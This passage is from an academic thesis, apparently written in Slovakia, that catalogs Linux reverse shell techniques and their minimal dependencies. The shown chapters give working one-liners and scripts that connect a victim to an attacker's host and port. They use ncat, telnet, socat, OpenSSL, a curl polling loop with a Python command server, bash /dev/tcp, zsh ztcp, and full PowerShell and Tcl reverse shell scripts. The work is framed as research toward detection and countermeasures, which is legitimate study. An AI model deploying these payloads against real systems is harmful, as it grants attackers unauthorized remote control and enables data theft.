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Abstrakt

Reverzný shell je bežnou technikou, ktorú útočníci používajú na získanie neopráv-
neného prístupu k vzdialeným systémom. Táto práca poskytuje komplexnú analýzu
metód reverzných shellov, so zameraním na tie, ktoré využívajú nástroje bežne dos-
tupné v štandardných inštaláciách Linuxových systémov. Ponúkame široký zoznam
techník zahŕňajúcich sieťové nástroje, shellové interprety, programovacie jazyky a ďalšie
systémové nástroje. Každá metóda bola implementovaná a testovaná v kontrolovanom
prostredí, aby sa vyhodnotila jej efektívnosť a minimálne závislosti. Okrem vymen-
ovania samotných techník sa práca zaoberá aj protiopatreniami a odporúčaniami na
ochranu pred útokmi pomocou reverzných shellov.

Na podporu ďalšieho výskumu a experimentovania sme vytvorili jednoduchý testovací
framework založený na Makefile, ktorý automatizuje vykonávanie všetkých analyzo-
vaných metód.

Kľúčové slová: reverzný shell, techniky typu living-off-the-land, systémové nástroje,
protiopatrenia
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Abstract

Reverse shells are a common technique used by attackers to gain unauthorized re-
mote access to systems. This thesis provides a comprehensive analysis of reverse shell
methods, focusing on those that utilize tools typically found in standard Linux-based
system installations. We list a broad set of techniques involving network utilities, shell
interpreters, programming language runtimes, and other system tools. Each method
was implemented and tested in a controlled environment to assess its effectiveness and
minimal dependencies. Beyond the enumeration of these techniques, the thesis explores
countermeasures and best practices for protection against reverse shell attacks.

To facilitate further research and experimentation, we developed an easy-to-use testing
framework based on a Makefile, which automates the execution of all analyzed methods.

Keywords: reverse shell, living-off-the-land techniques, system utilities, countermea-
sures
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Introduction

A reverse shell is a technique commonly used to gain unauthorized remote access to a
target system. It represents one of the two fundamental approaches to establishing a
remote command shell, the other being a bind shell. While both serve similar purposes
– enabling control over a compromised system – their operational mechanics differ
significantly.

In a bind shell scenario, the victim’s machine opens a port and waits for incoming
connections from the attacker (acting as a server). This requires the victim’s system to
be accessible over the network and typically demands the attacker to bypass firewalls
or security controls that block unsolicited inbound connections.

A reverse shell literally inverts this model (hence the name). The victim’s machine
initiates an outbound connection to the attacker’s machine, which now acts as a listener.
This method is more stealthy and more successful in real-world scenarios, as outbound
connections are less likely to be blocked by default firewall rules or NAT1 configurations.

Attackers typically create reverse shells by exploiting vulnerabilities such as command
injection, buffer overflows, or insecure deserialization. Alternatively, they may trick
users into executing malicious payloads through phishing or malware applications [20].
Once a reverse shell is established, the attacker can run commands to exfiltrate data
or deploy additional tools for persistence and lateral movement.

What makes a reverse shell particularly troublesome is its flexibility and ease of im-
plementation. Many reverse shell techniques rely solely on tools and utilities that are
already present on most operating systems. These methods of using legitimate tools
available on the target’s system are called "living-off-the-land", see more in section 1.2.
Examples include network utilities like Netcat and Telnet, shell interpreters like Bash
and PowerShell, general-purpose programming languages with socket support, and also
tools not designed essentially for network connection like Awk. Many of the tools on
the list are commonly available in standard operating system installations, most pre-
installed by default. As a result, attackers can craft a working reverse shell even in

1network address translation
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2 INTRODUCTION

heavily restricted environments, without the need to upload external binaries.

This thesis provides a comprehensive list of all currently known methods for creating
a reverse shell. Numerous reverse shell cheat sheets published online (see [42, 29, 1])
cover known techniques fairly well. So, in addition to listing all of them, we examine
the minimal system requirements for each considered method. This can apply a trivial
countermeasure against the concrete method by removing one of the tool’s dependen-
cies, such as a module or a library. Of course, we do not recommend relying solely
on this countermeasure, as it may prevent the tool or other tools from running alto-
gether. It can also be easily bypassed in misconfigured systems (for instance, through
library hijacking) and is applied only to specific reverse shell techniques. Still, the list
of dependencies can be helpful, e.g., for advanced detection mechanisms.

While the thesis primarily focuses on a thorough analysis and enumeration of reverse
shell techniques, we will also briefly discuss the best practices for prevention, detection,
and response to reverse shell incidents and the risks arising from the analysis’s results
at the end of the thesis.



Chapter 1

Background and related work

Reverse shell attacks remain a persistent threat in cybersecurity. This chapter provides
context for how such attacks manifest in real-world scenarios and reviews prior research
efforts focused on detecting reverse shells and LOTL-based intrusion methods. Later
in this chapter, a detailed explanation of LOTL (Living Off the Land) methodology
follows.

1.1 Real-world examples of reverse shell attacks

Reverse shell is a widespread practice in cyberattacks, enabling attackers to gain in-
teractive control over a system through a single vulnerability, and it remains relevant
today. To illustrate this point, we mention some real-world examples of attacks that
utilized a reverse shell.

npm reverse shell vulnerability

In October 2023, a significant security issue was identified involving 48 malicious npm
packages designed to deploy reverse shells on compromised systems [25]. These pack-
ages were deceptively named to appear legitimate and contained obfuscated JavaScript
code that initiated a reverse shell upon installation. The attack was triggered via an
install hook in the package.json file, establishing a connection to rsh.51pwn.com.

#BrokenSesame vulnerability in Alibaba PostgreSQL databases

The Wiz Research team discovered a vulnerability, dubbed #BrokenSesame, in Alibaba
Cloud’s ApsaraDB RDS for PostgreSQL and AnalyticDB for PostgreSQL databases

3



4 CHAPTER 1. BACKGROUND AND RELATED WORK

[45]. It was a backdoor caused by inadequate container isolation and an accidental
“write” permission to a private registry. The attack involved privilege escalation within
the database container and then utilizing the shared process ID namespace to escape
the container environment and gain direct access to the Kubernetes (K8s) node’s API
server.

With ApsaraDB RDS for PostgreSQL, attackers exploited command-line injection with
root permissions to achieve remote code execution (RCE). This vulnerability was ex-
ploited to spawn a reverse shell, enabling the attacker to escape the container.

With access to the K8s API server, attackers could then retrieve credentials and other
sensitive data. Furthermore, misconfigured permissions allowed attackers to push ma-
licious images to Alibaba’s private container registry, enabling potential supply chain
attacks. That means executing write operations on customers’ registries and releasing
reverse shell packages disguised as software updates. Fortunately, Wiz Research re-
sponsibly disclosed this vulnerability to Alibaba Cloud, and the issues have been fully
mitigated without any customer data being compromised.

CVE-2023-38831 exploited by pro-Russia hacking groups

The recent use of reverse shell has been observed in cyber operations related to the
Russia-Ukraine conflict since October 2023 [43]. This phishing-based attack exploited a
vulnerability in the WinRAR software identified as CVE-2023-38831 [40]. The lure file
was a PDF document masquerading itself as a file to share Indicators of Compromise.

Clicking on the PDF file triggered the execution of a BAT script (due to the vulnera-
bility), which, in turn, launched PowerShell commands to open a reverse shell, giving
the attackers access to the targeted machine. Aside from that, the script attempted to
steal data, such as login credentials from browsers, and then exfiltrate the data through
a legit webhook site.

Figure 1.1: Code snippet of BAT script used for a reverse shell
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1.2 Living Off the Land

Methods of establishing a reverse shell using trusted tools and applications, which are
not recognized as threats by antivirus and malware detection mechanisms, are part of
the "living-off-the-land" (LOTL) offensive methodologies. LOTL techniques are well
hidden among other events generated by everyday legitimate activities. Moreover,
threat actors often camouflage their activities through obfuscation, making them par-
ticularly difficult to detect without generating numerous false alarms [4]. Therefore,
the development of a detection mechanism against LOTL reverse shell techniques is an
active field of work.

LOTL detection using machine learning

Machine learning detection is especially promising with the recent rapid advance in this
area. However, existing ML-based detection systems face several limitations, including
a lack of real-world deployability and data realism, resulting in training on static,
small-scale datasets that do not reflect complex environments. They also struggle with
achieving sufficiently low false positive rates required in high-throughput operational
settings. Furthermore, past work often omits evaluations of adversarial robustness,
which is crucial given that attackers actively try to bypass detection.

Dmitrijs Trizna et al. proposed an augmentation framework called QuasarNix [48] to
address these limitations simultaneously. This system is designed to generate training
datasets that closely resemble a blend of normal system activity and a wide range of
LOTL-based attacks, with a particular focus on reverse shell techniques. They also
define and develop defenses against black-box data-driven attacks to produce adver-
sarially robust variants of ML models, showing that adversarial training can harden
models against evasion attempts. The study emphasizes that building effective ML-
based detection systems for cyberattacks requires robust datasets that reflect the true
complexity and variability of real-world scenarios.

In this thesis, we do not focus on machine learning or other detection approaches.
Instead, our goal is to provide a comprehensive and structured catalog of system tools
that could potentially be exploited for LOTL-style reverse shells. By documenting
these techniques and the conditions under which they operate, we aim to support the
research and understanding of the full landscape of LOTL-based reverse shell threats.
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Chapter 2

Framework for analysis

The number of tools and techniques for creating a reverse shell is relatively high. Due
to the limited scope of the thesis, we had to choose one specific system for the testing
phase of the analysis. This chapter describes the testing environment and framework
for implementing and evaluating reverse shell methods. Additionally, we define the
format used to represent and document each method analyzed throughout the thesis.

2.1 Testing environment

In our analysis, the victim machine was simulated with a chroot environment. The
chroot command allows running a command or interactive shell with a specified direc-
tory as the apparent root directory [10]. Therefore, the system simulated in the chroot
environment has only access to files in the new ’root directory’, which was convenient
for determining requirements for each method. If the method did not work, the en-
vironment lacked a dependent library, system tool, device, etc. The exact file, which
had been missing in the chroot directory, was either mentioned in the error message,
or we could trace the actual system call for attempting to open the file (either open()
or openat()) with the strace tool. We utilized these techniques to detect almost all
the requirements during the analysis.

The host system distribution (on which the chroot environment was running) was
Ubuntu 24.04 LTS with a Linux 5.15 kernel and 64-bit x86 architecture. However,
the commands and tools tested in this thesis should work on most GNU/Linux-based
systems.

The more relevant problem could be the version of the tested tools. Since testing on
multiple versions would be much more complicated, we have analysed each method
using one specific version of the tool. The versions are specified at the beginning of

7
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sections in the chapter 3. When dealing with different versions, the syntax of example
commands should not pose a problem. However, the dependencies we detected for
each tool could be different, especially the module files of programming languages. We
described each dependency in the most general way, but it is actually guaranteed only
for the tested version. Still, we suppose that in the vast majority of cases, different
versions are not an issue as well.

The specifications for the attacker machine do not matter since the only requirement is
an open port for catching the reverse shell connection. Some methods require a more
complex listening setup than just opening a port. In that case, the process of setting
up the listener will be explained in detail, together with an example command/script.

2.2 Commands syntax and glossary

For each system tool, we list one or more commands that, when run on the victim’s
machine, should try to connect to the attacker’s machine (mainly using TCP), spawn a
new shell session, and redirect its standard input, output, and error output to the con-
nected socket. Alternatively, some methods do not redirect the standard file descriptors
of the shell to the socket; instead, they read commands from the socket, execute them
via the shell, and send output back to the socket. This “indirect redirection” is more
common among scripting tools.

The attacker must have an open port ready to catch the reverse shell. It can be any
available port, but standard ports for services like 80 for HTTP and 443 for HTTPS
can disguise the reverse shell as an ordinary web traffic (see chapter 4 for more). In
most cases, a simple NetCat listener should be sufficient to catch the reverse shell
(command 2.2.1).

Command 2.2.1: NetCat listener for catching reverse shell
nc -l ⟨PORT⟩

The non-obligatory option -v can be added for more verbose output. If the given
method requires a more complex setup on the attacker’s side, we will provide the
necessary commands for the setup with an explanation.

The commands in this thesis use placeholders instead of specific values for general-
ization. They ensure clarity and adaptability across different scenarios, whether the
actual value depends on the execution environment – such as IP address – or multi-
ple equivalent values can be chosen – such as the name of a temporary file. When
implementing or testing, these placeholders should be replaced accordingly:



2.2. COMMANDS SYNTAX AND GLOSSARY 9

⟨HOST⟩ The attacker’s IP address or domain.

⟨PORT⟩ The port number on which the attacker is listening.

⟨SHELL⟩ The shell that will be executing commands sent from the attacker.

⟨PORT2⟩ The second port number on which the attacker is listening; must be different
from ⟨PORT⟩.

⟨TMP⟩ The filename for a temporary file or directory used by some methods (e.g.,
creation of a named pipeline).

⟨HOST⟩ and ⟨PORT⟩ are naturally required in every method. ⟨SHELL⟩ is also usually
required and can be substituted with any available shell interpreter on the target
system, even with a self-made interactive script. Still, some methods do not allow the
use of an arbitrary shell, and the commands sent through the socket are executed by
the default shell (/bin/sh in most cases).

If the method spawns ⟨SHELL⟩ via command (executed by the underlying shell), shell
options can be appended. An interesting option, which is supported on almost every
standard shell interpreter, is the -i option, which makes the shell session “interactive”.
That means we get a nice shell on the attacker’s side rather than a raw output of
executed commands. It was not tested for all methods and thus may not work every-
where (it could be a problem for some function calls in reverse shell scripts that expect
specific arguments). However, the same effect can be done by running the command
⟨SHELL⟩ -i upon receiving the reverse shell, spawning a new interactive shell session
inside the initial one.

⟨PORT2⟩ and ⟨TMP⟩ are used only in few methods. ⟨PORT2⟩ is, for instance, needed
in telnet reverse shell (see command 3.1.3), where the socket on port number ⟨PORT⟩
serves as input for the shell and the socket on port number ⟨PORT2⟩ serves as output.
⟨TMP⟩ is used when the method requires a named pipeline (see command 3.1.2) or a
temporary directory for generated files (see command 3.3.3).

Some methods use a scripting language or compiler to establish a reverse shell, espe-
cially the methods in section 3.3 and section 3.4. In such cases, a script/code with
multiple lines and comments will be provided for better understanding and clarity.
Together with the script, we will show how to run the script (or compile and run the
code) as well as how to change it into a “one-liner” command without creating a file,
which might not always be possible. In order not to repeat the whole script for each
variant or to refer to the files, we use another placeholders:

⟨compressed-script⟩ Referenced script compressed into one line using a line separator
(usually a semicolon). Comments can be omitted.
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⟨script-filename⟩ Path to the script file.

⟨code-filename⟩ Path to the source code (semantically the same as the previous,
but used to distinguish interpreted script from compiled code).

In some scenarios, running the reverse shell in the background asynchronously can be
useful (e.g., for harder detection). This can be done by appending an ampersand (&) at
the end of the command [32] in most POSIX-compliant shell interpreters. Some reverse
shell methods are composed of multiple commands or loops (see command 3.1.9). In
that case, we need to group those commands with curly brackets and append & to the
whole group:

{ ⟨command1⟩; ⟨command2⟩; ...; } &

After each example command (or script), a list of dependencies and an occasional note
may follow. Implicit dependencies for each command are shared objects (dynamic
libraries) required by the binaries of the tools used in the command. These are not listed
in the dependency list and are expected to be present in the system, since otherwise
the binary will not run. To print these shared object files, use the ldd command [11]
together with the which [12] command:

ldd $(which ⟨command⟩)

Of course, this is not an issue when using a statically linked binary.

2.3 Testing framework

For effective testing and as an applicable result of gathering reverse shell methods, we
constructed a Makefile with the same implementations listed in the thesis, including
both the reverse shell commands and the required listeners.

For testing, we used the same reverse shell implementations from the Makefile. They
were executed from the chroot process inside a dedicated directory with a bash session
– as mentioned in the section 2.1, this represented the victim system. We tested each
reverse shell method connecting to localhost for simplicity and security reasons. This
ensured that no possible firewall settings1 or security tools would block the reverse shell
attempts during testing. Reverse shells were caught in a separate terminal session –
not within chroot environment, but on the host system. These are all the values we
used in testing (identical with the Makefile configuration):

⟨HOST⟩ : 127.0.0.1 (localhost)
1by default, loopback connections are always enabled
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⟨PORT⟩ : 4444

⟨SHELL⟩ : /bin/bash

⟨PORT2⟩ : 4445

⟨TMP⟩ : /tmp/f

Each method was tested at first with a minimal chroot directory – that is, only with
bash binary, the method’s tool binary, and required dynamic libraries. Only after
failed attempts did we search for missing dependencies. When we did receive the
reverse shell – even with errors/warnings on the victim’s side (since we wanted minimal
dependencies) – we tested getting both output and error output from the commands
sent to the reverse shell.
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Chapter 3

Methods of establishing a reverse shell

This chapter explores established methods and techniques for initializing a reverse shell
from a remote server. Each method is characterized by a system tool, software, or a
programming language with its interpreter/compiler. We will not categorize them by
what misconfiguration could cause a vulnerability that these methods could exploit,
since it heavily depends on the system and what services are running on it. However,
we will talk about good practices and countermeasures against reverse shell in general
in the chapter 4.

For each method, we show an actual command line example(s) of how to use the tool for
the reverse shell, taking into account the testing environment described in the previous
chapter. Furthermore, we list all system dependencies needed for the given method to
execute successfully. If a method has excessive dependencies, such as dynamic libraries
or modules, a complete list will be provided in the appendix A.

3.1 Network tools

First, we list the most apparent and straightforward candidates capable of creating a
reverse shell: network tools. These tools are meant for network communication and
can, therefore, be used really easily if they are available to the attacker.

3.1.1 NetCat (nc/ncat)

Version: 7.94SVN (Nmap Project)

NetCat is a well-known tool for reading from and writing to network sockets using
TCP or UDP and is preinstalled on many Linux distributions. There are multiple
implementations of NetCat – GNU’s traditional implementation, OpenBSD, or the

13
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Nmap project version of NetCat called ncat, which we have used for testing.

Not every implementation supports the -e (or --exec) or -c (or --sh-exec) op-
tion, which causes the program to execute the given command. Option -e runs exec

<command>, while -c executes via /bin/sh [37]. The traditional GNU and the Nmap
implementation should have this option, but the OpenBSD implementation has re-
moved it for security reasons [21].

Command 3.1.1: NetCat reverse shell (version 1, with option -e)
ncat -e ⟨SHELL⟩ ⟨HOST⟩ ⟨PORT⟩

Note: Standard error output of executed commands is not redirected to the socket. Option
-c can be used instead of -e with the same syntax, but /bin/sh is needed in that case.

However, when dealing with NetCat without the -e or -c option, the restriction can
be easily bypassed by redirecting file descriptors, as shown in the command 3.1.2. It
creates a named pipe ⟨TMP⟩ for connecting standard inputs and outputs of shell and
NetCat processes.

Command 3.1.2: NetCat reverse shell (version 2, with a named pipe)
mkfifo ⟨TMP⟩; ⟨SHELL⟩ < ⟨TMP⟩ 2>&1 | ncat ⟨HOST⟩ ⟨PORT⟩ > ⟨TMP⟩

Dependencies: mkfifo

3.1.2 Telnet (telnet)

Version: 2.5 (GNU inetutils)

Telnet is another popular client-server network protocol that establishes bidirectional
interactive text-based communication using the TCP protocol (although now consid-
ered a legacy tool not recommended for secure communication). Unlike NetCat, Telnet
does not offer a direct option to execute a command and send its output through the
network. However, this limitation can be solved again by using standard Unix pipelines.

In the first example (command 3.1.3), we use two Telnet instances. One is for receiving
commands that the chosen shell will execute, and then their output will be sent through
the second telnet connected to a different port (it can also be connected to a different
host). The attacker needs to set up two distinct listeners accordingly.
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Command 3.1.3: Telnet reverse shell (version 1, with anonymous pipes)
telnet ⟨HOST⟩ ⟨PORT⟩ | ⟨SHELL⟩ 2>&1 | telnet ⟨HOST⟩ ⟨PORT2⟩

Note: The socket with port number ⟨PORT⟩ serves as standard input for the shell while the
socket with port number ⟨PORT2⟩ serves as standard output and standard error output.

Two Telnet instances were needed because anonymous Unix pipes are unidirectional.
However, we can use a named pipe (like with NetCat) to create a reverse shell with
only one telnet instance.

Command 3.1.4: Telnet reverse shell (version 2, with a named pipe)
mkfifo ⟨TMP⟩; ⟨SHELL⟩ < ⟨TMP⟩ 2>&1 | telnet ⟨HOST⟩ ⟨PORT⟩ > ⟨TMP⟩

Dependencies: mkfifo

3.1.3 Socat (socat)

Version: 1.8.0

Socat (short for SOcket CAT) is a versatile networking tool that acts as a bidirectional
data relay between two data streams, such as TCP connections, UNIX sockets, or files.
It is a more complex variant of NetCat with more flexibility and a vast number of
options. Thus, running a reverse shell with Socat is really simple and convenient.

Socat uses many different “address types” (composed of an address type keyword and
an optional argument) which give instructions and the necessary information for estab-
lishing the byte streams [38]. We will use the tcp:<host>:<port> type for connecting
to the remote attacker and the exec:<command-line>, which runs the command as a
forked subprocess and connects the standard input and output to the created socket.
We can add stderr option to the exec address type, so it also redirects the standard
error output.

Command 3.1.5: Socat reverse shell
socat tcp:⟨HOST⟩:⟨PORT⟩ exec:⟨SHELL⟩,stderr

Both tcp and exec address types have multiple additional options, which can be helpful
in some scenarios. They can be appended right after the address types, separated with
commas and no spaces. We list only a few options for exec address type (apart from
the used stderr option) [38]:
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nofork Does not fork a subprocess for executing the program, instead calls execvp()
or system() directly from the actual socat instance.

pty Establishes communication with the sub-process using a pseudo-terminal
instead of a socket pair. For this to function, openpty or ptmx device is
necessary.

sigint Has socat pass the SIGINT signal to the sub process. Otherwise, sending
this signal terminates the socat process.

sigquit The same as the sigint option, but with the SIGQUIT signal.

3.1.4 Socket (socket)

Version: 1.1

Socket is a relatively old, lesser-known network utility for creating and interacting
with sockets directly from the command line. It does not usually come preinstalled
(like NetCat) on most modern distributions. It has a -p (program) option, which runs
the given command for each established connection, and its standard input, standard
output, and standard error channels are automatically redirected to the socket [28].

Command 3.1.6: Socket reverse shell
socket -p ’⟨SHELL⟩’ ⟨HOST⟩ ⟨PORT⟩

Dependencies: /bin/sh shell (socket executes the command specified with the -p option
with this shell)

3.1.5 OpenSSL (openssl)

Version: 3.0.13

OpenSSL is a widely used toolkit that implements the SSL and TLS network protocols
and related cryptography standards. It provides many commands with a variety of
options and arguments, particularly for network connections between SSL/TLS clients
and servers.

For the reverse shell, we will run the client on the victim’s side. Since the client
’speaks’ only in SSL/TLS, we need to establish a server on the attacker’s side that also
speaks in SSL/TLS. A simple NetCat listener will not be adequate, so we also use the
openssl command to create a server on the attacker’s side. It can be done using the
command 3.1.7.
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Command 3.1.7: Setting up an SSL/TLS server for catching OpenSSL reverse shell
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -noenc
openssl s_server -quiet -key key.pem -cert cert.pem -port ⟨PORT⟩

The first command (openssl req) generates a self-signed X.509 certificate and a new
RSA 4096-bit key. Then, it saves the key and the certificate to the specified .pem files.
The -noenc option makes the private key unencrypted (no password is required to
access it later).

The second command (openssl s_server) runs openssl in server mode for listening
on a specified port. The certificate and key are loaded from the .pem files created with
the first command, and the -quiet option will suppress the printing of session and
certificate information (recommended, but not mandatory) [33].

With the running SSL/TLS server, we can launch the client on the victim’s machine
and initialize the reverse shell with the command 3.1.8.

Command 3.1.8: OpenSSL reverse shell
mkfifo ⟨TMP⟩; ⟨SHELL⟩ < ⟨TMP⟩ 2>&1 | openssl s_client -quiet ⟨HOST⟩:⟨PORT⟩ > ⟨TMP⟩

Dependencies: mkfifo

We use the same technique with named pipe as we did with NetCat or Telnet methods.
Here, the -quiet option is neccessary. It suppresses all non-essential output (session
details, certificate verification info, and other debug output), which would not be valid
input for the shell interpreter and probably cause it to exit or fail unpredictably. In
our tests, the connection was closed immediately when we used the command without
the -quiet option.

3.1.6 cURL (curl)

Version: 8.5.0

cURL ("client for URL") is a versatile tool for transferring data to or from a server using
various protocols, most commonly HTTP and HTTPS. In this reverse shell scenario,
we will use curl command to periodically make HTTP requests to an attacker’s server
to fetch commands via the GET method and send back their output via the POST
method.

Again, we will need a special listener on the attacker’s side, this time an HTTP server
that will handle the request as described earlier. We provide a simple Python script
that should do the work (code 3.1.1).
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Code 3.1.1: Setting up custom HTTP server for catching cURL reverse shell
from http.server import BaseHTTPRequestHandler, HTTPServer

class ShellHandler(BaseHTTPRequestHandler):
# Handle GET requests (fetch command from attacker)
def do_GET(self):

# Read a command from standard input (the attacker’s terminal)
current_command = input("[+] Enter command to execute: ")

self.send_response(200) # Send HTTP 200 OK status
self.end_headers()

# Write the command to the HTTP response body
self.wfile.write(current_command.encode())

# Handle POST requests (receive command output)
def do_POST(self):

# Read the request body (should contain command output)
length = int(self.headers[’Content-Length’])
post_data = self.rfile.read(length)

# Print the output to standard output (attacker’s terminal)
print(f"[+] Command output:\n{post_data.decode()}")

self.send_response(200) # Send HTTP 200 OK status
self.end_headers()

if __name__ == "__main__":
server = HTTPServer(("0.0.0.0", ⟨PORT⟩), ShellHandler)
server.serve_forever()

With the curl command on the victim’s side, we can send the mentioned GET and
POST requests together with executing fetched commands in a loop (command 3.1.9).

Command 3.1.9: cURL reverse shell
while true; do

cmd=$(curl -s http://⟨HOST⟩:⟨PORT⟩);
res=$(⟨SHELL⟩ -c "$cmd" 2>&1);
curl -X POST -d "$res" http://⟨HOST⟩:⟨PORT⟩;

done;

Option -s (or --silent) is for the silent mode, which does not print show progress
meter or error messages, only the HTTP response. It is needed in the first curl

command to get just the command without auxiliary output. Option -X (or --request)
specifies the request method, and option -d (or --data) sends the specified data in a
POST request. [41]

It is worth mentioning that this method uses a polling-based approach, which does not
require a persistent TCP connection, unlike previous methods. Apart from appearing
as common web traffic (and therefore harder to detect), the loop can persist even
when the attacker becomes offline, so no additional actions on the victim’s machine
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are required if the attacker wants to obtain the reverse shell again later.

3.2 Command-line interpreters

Another straightforward way to get a reverse shell is to use shell interpreters themselves.
Since some shells have built-in support for simple TCP and UDP network communi-
cation, they can be used to connect to the attacker without using other system tools.
This section lists all standard and popular shells capable of creating a reverse shell
alone. At the end of the section, we also mention shell interpreters that do not support
this feature (section 3.2.6).

The example commands in this section follow the ⟨SHELL⟩ -c ’⟨command⟩’ format,
where the -c option tells the shell to execute the given command string. All shell
interpreters support this option mentioned in this section. If you are already running
an interactive session in the given shell, you can execute just the ⟨command⟩ portion
directly. However, we use the complete form for consistency and portability, ensuring
the command works regardless of the current shell environment.

3.2.1 Bash (bash)

Version: 5.2.21 (GNU)

First on the list is the default and most commonly used shell on most Linux distri-
butions, the Bash shell. It was designed as a free and enhanced alternative for the
classic Bourne shell (sh) and other proprietary Unix shells [14]. It also offers extensive
scripting capabilities and, importantly for this context, supports TCP and UDP com-
munication through special file descriptors located in the /dev/tcp/ and /dev/udp/

pseudo-filesystems.

Bash treats these pseudo-file paths semantically like regular files, which allows standard
input and output redirection to be used with them. This makes establishing a reverse
shell connection possible using simple redirection syntax.

Command 3.2.1: Bash reverse shell
bash -c ’⟨SHELL⟩ &> /dev/tcp/⟨HOST⟩/⟨PORT⟩ 0>&1’
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3.2.2 Korn shell (ksh/ksh93/rksh/rksh93)

Version: 93u+m/1.0.8 (ATT)

Korn shell is a shell developed by David Korn as a successor to the Bourne shell. It
was originally proprietary software, which led to the creation of several free and open-
source alternatives, including Bash. There are actually many versions and clones of
Korn shell, like pdksh, mksh and others, while the original is ksh88.

However, the version that added support for network communication is the newer ksh93
version. It is realized through the same /dev/tcp/ and /dev/udp/ pseudo-filesystems
as with Bash. Creation of reverse shell is thus done exactly as in the command 3.2.1.

Command 3.2.2: Korn shell reverse shell
ksh -c ’⟨SHELL⟩ &> /dev/tcp/⟨HOST⟩/⟨PORT⟩ 0>&1’

Additionally, there are two other clones of ksh93 which also support this feature –
dtksh (Desktop Korn shell, a fork included as part of CDE) and tksh (a fork that
provides access to the Tk widget toolkit) [53]. The Korn shell variants, which do not
have networking features, are listed at the end of the section (section 3.2.6).

3.2.3 Z shell (zsh)

Version: 5.9

Z shell is a feature-rich Unix shell offering advanced scripting capabilities and cus-
tomization options. It is the default login shell on macOS and Kali Linux. Unlike
Bash or Korn shell, Z shell does not support the /dev/tcp/ or /dev/udp/ pseudo-
filesystems. Instead, additional features of the Z shell, including networking, are in
modules, separate from the shell’s core. Each module may be linked into the shell at
build time or dynamically linked while the shell is running. [47]

The module zsh/net/tcp, which provides manipulation of TCP sockets, can be loaded
with the zmodload keyword. With the module loaded, we can run the ztcp command,
which opens a new TCP connection to the specified host and port. The argument of
option -d will be taken as the target file descriptor for the connection [46]. We can then
redirect the standard input and output of the new shell session to this file descriptor.
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Command 3.2.3: Z shell reverse shell
zsh -c ’zmodload zsh/net/tcp; ztcp -d 3 ⟨HOST⟩ ⟨PORT⟩; ⟨SHELL⟩ 0<&3 1>&3 2>&3’

Dependencies: zsh/net/tcp.so 1

3.2.4 PowerShell (pwsh/powershell)

Version: 7.5.0

PowerShell is a powerful shell and scripting language developed by Microsoft. Un-
like traditional shells, it is object-oriented. PowerShell comes preinstalled on modern
Windows systems, but additionally, an open-source, cross-platform version – pwsh – is
available for Linux and macOS. The following method is compatible on all platforms.

Reverse shell via PowerShell is more complicated than previous shells. To work with
network connections, it requires using .NET classes and managing multiple objects such
as sockets, streams, and others. Hence, we will need a PowerShell script rather than a
simple command with redirections (this makes this method closer to the “programming
language interpreters” category – section 3.3). Nevertheless, it can still be made into a
one-liner using the -c (or -Command) option and separating lines from the script with
a semicolon (see command 3.2.5).

1usually located somewhere in /usr/lib/
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Code 3.2.1: PowerShell reverse shell script
# Create a new TCP client connected to the attacker
$TCPClient = New-Object Net.Sockets.TCPClient("⟨HOST⟩", ⟨PORT⟩)

# Get the network stream for reading/writing over the TCP connection
$NetworkStream = $TCPClient.GetStream()

# Set up stream reader and writer for text-based communication
$StreamReader = New-Object IO.StreamReader($NetworkStream)
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
$StreamWriter.AutoFlush = $true # Automatically flush after each write

# Buffer for reading incoming data
$Buffer = New-Object System.Byte[] 1024

# Main loop while the client stays connected
while ($TCPClient.Connected) {

# If data is available to read from the stream
while ($NetworkStream.DataAvailable) {

$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length)

# Convert bytes to UTF-8 string (one less than the number of bytes read
to strip newline)

$Code = ([Text.Encoding]::UTF8).GetString($Buffer, 0, $RawData - 1)
}

# If we got a non-empty command, execute it
if ($TCPClient.Connected -and $Code.Length -gt 1) {

# Run the received command and catch any errors
$Output = try { Invoke-Expression $Code 2>&1 } catch { $_ }

$StreamWriter.Write("$Output‘n")
$Code = $null

}
}

$TCPClient.Close()
$NetworkStream.Close()
$StreamReader.Close()
$StreamWriter.Close()

Dependencies: pwsh.dll 2, .NET

To run the script saved as ⟨script-filename⟩, execute the pwsh command with the
option -f (or -File).

Command 3.2.4: Running the PowerShell reverse shell script
pwsh -f ⟨script-filename⟩

As mentioned, we can execute the PowerShell script as a one-line command by using
the -c option.

2usually located in /opt/microsoft/powershell/
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Command 3.2.5: PowerShell one-line reverse shell
pwsh -c ’⟨compressed-script⟩’

3.2.5 Tcl shell (tclsh)

Version: 8.6.14

Tcl (Tool Command Language) is a lightweight scripting language designed to be simple
and powerful. It comes with an interactive shell called tclsh [44]. The shell provides
access to Tcl’s core language features, including I/O, string processing, and networking.

Creating a reverse shell in Tcl is relatively straightforward compared to PowerShell
(code 3.2.1), thanks to its built-in socket command and dynamic evaluation capabil-
ities. However, since Tcl lacks built-in redirection operators like POSIX shells, error
handling and stream management must be implemented manually within the script
logic. Again, we provide the script and show how it can be run from a file or as a
one-line command.

Code 3.2.2: Tcl reverse shell script
# Open a new TCP socket and connect to the attacker
set sock [socket ⟨HOST⟩ ⟨PORT⟩]

# Read commands from socket until connection is closed
while {[gets $sock cmd] >= 0} {

# Prepare exec command with stderr redirected to stdout
set e "exec $cmd 2>@1"

# Try executing the command
if {![catch {set res [eval $e]} err]} {

puts $sock $res
} else {

puts $sock $err
}

flush $sock
}

close $sock

Dependencies: environment variable TCL_LIBRARY set to Tcl installation directory3, Tcl
library init.tcl4

Command 3.2.6: Running the Tcl reverse shell script
tclsh ⟨script-filename⟩

3usually /usr/share/tcltk/tcl<version>/
4located in $TCL_LIBRARY
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Command 3.2.7: Tcl one-line reverse shell
echo ’⟨compressed-script⟩’ | tclsh

3.2.6 Shells without native network support

In contrast to command-line interpreters that can independently establish network
connections, we outline popular shells that lack this capability [51]. Without additional
programs that facilitate network communication, these shells do not inherently pose
a risk of spawning a reverse shell. However, this does not suggest that other security
countermeasures should be disregarded when mitigating reverse shell attack vectors.

• Bourne shell (sh) – The standard shell for the Version 7 Unix system; has been
replaced by its advanced variants. Be aware that the original binary /bin/sh is
just a link to another compatible shell on most modern Unix-like distributions.

• Almquist shell (ash) and Debian Almquist shell (dash) – Lightweight and
POSIX-compliant shells designed for minimal environments, commonly used in
embedded systems and as the default shell for Debian-based distributions.

• The original Korn shell (ksh88), Public domain Korn shell (pdksh), MirBSD
Korn shell (mksh), Portable OpenBSD Kown shell (oksh) and other variants
and forks not based on ksh93.

